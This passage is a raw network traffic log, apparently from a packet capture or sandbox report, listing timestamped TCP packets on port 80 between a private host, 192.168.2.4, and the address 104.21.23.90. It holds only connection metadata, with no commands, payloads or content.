Jan 21, 2024 16:57:08.908592939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.908617020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.908654928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.908668995 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.909086943 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.909126043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.909145117 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.909166098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.909204006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.909221888 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.909240007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.909291029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.910123110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910172939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910211086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910231113 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.910252094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910290003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910306931 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.910749912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910789013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910810947 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.910825968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910862923 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910881996 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.910901070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.910950899 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.911788940 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.911828041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.911864042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.911883116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.911904097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.911943913 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.911962032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.923042059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923086882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923114061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.923135996 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923194885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.923576117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923618078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923655033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923675060 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.923691034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923729897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.923746109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.924232960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.924288034 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.924290895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.924326897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.924364090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.924381971 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.924401999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.924458981 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.924984932 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925052881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925090075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925105095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.925127983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925164938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925180912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.925779104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925817966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925837040 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.925854921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925914049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.925925970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.925956011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.926012993 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.926712036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.926748991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.926785946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.926805019 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.927002907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.927043915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.927062035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.927081108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.927118063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.927155018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.927155018 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.927216053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.928826094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.928864956 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.928901911 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.928920031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.928941011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.928981066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.928999901 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.929224014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.929275036 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.929294109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.929311991 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.929348946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.929368973 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.929388046 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.929442883 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.930016994 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930057049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930094004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930115938 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.930130005 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930166960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930187941 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.930923939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930963993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.930988073 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.931003094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931041002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931056023 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.931080103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931133986 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.931761980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931798935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931837082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931854963 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.931876898 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931915998 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.931935072 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.932549000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.932589054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.932609081 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.932629108 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.932667017 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.932684898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.932704926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.932775021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.933465958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.933504105 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.933540106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.933559895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.933582067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.933621883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.933640957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.934187889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.934228897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.934250116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.934268951 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.934307098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.934324980 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.934345007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.934401035 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.935065031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935101032 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935138941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935157061 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.935177088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935219049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935240030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.935883999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935921907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935940981 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.935960054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.935997009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936028957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.936036110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936094046 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.936687946 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936784983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936822891 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936842918 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.936861038 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936899900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.936917067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.937623978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.937660933 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.937680006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.937712908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.937750101 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.937768936 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.937788010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.937844992 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.944207907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.944247007 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.944284916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.944323063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.944360018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.944417000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.944417000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.961508989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.961549044 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.961585999 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.961608887 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.961684942 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.982076883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982145071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982186079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982208014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982229948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982250929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982271910 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.982350111 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.986031055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986068964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986099958 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.986109018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986154079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986161947 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.986192942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986253977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.986605883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986644983 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986680984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986718893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986756086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.986814022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.986814022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.987180948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.987219095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.987257004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.987293959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.987302065 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.987334967 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:08.987375975 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:08.987407923 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.003038883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003106117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003143072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003164053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003184080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003205061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003225088 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003453970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.003475904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003515959 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003528118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.003556013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003593922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003637075 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.003798962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.003798962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.004297972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.004337072 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.004375935 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.004395962 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.004414082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.004452944 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.004468918 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.015433073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015470982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015507936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015543938 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015582085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015639067 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.015640020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.015640020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.015805960 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015842915 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015878916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015914917 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.015973091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.016012907 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.016014099 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.016585112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.016623020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.016645908 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.016659975 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.016695976 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.016716957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.016736031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.016791105 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.017424107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.017461061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.017497063 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.017518044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.017534971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.017571926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.017591000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.018229008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.018265963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.018286943 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.018321037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.018359900 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.018377066 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.018400908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.018455029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.019088030 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.019124031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.019160986 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.019181013 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.019197941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.019233942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.019247055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.024934053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.024971962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.025007963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.025043011 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.025080919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.025161982 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.025162935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.025162935 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.025907993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.025947094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.025983095 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026021004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026058912 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026112080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.026113033 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.026132107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026200056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.026825905 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026863098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026900053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026911974 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.026937008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026973009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.026988029 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.027468920 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.027509928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.027529955 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.027546883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.027582884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.027601957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.027621031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.027674913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.028456926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.028543949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.028580904 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.028603077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.028619051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.028656006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.028675079 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.029145002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.029200077 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.029222012 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.029258013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.029295921 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.029309988 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.029334068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.029387951 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.030080080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030117035 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030153990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030172110 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.030190945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030230045 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030247927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.030626059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030662060 CET	80	49730	104.21.23.90	192.168.2.4
Jan 21, 2024 16:57:09.030682087 CET	49730	80	192.168.2.4	104.21.23.90
Jan 21, 2024 16:57:09.030698061 CET	80	49730	104.21.23.90	192.168.2.4
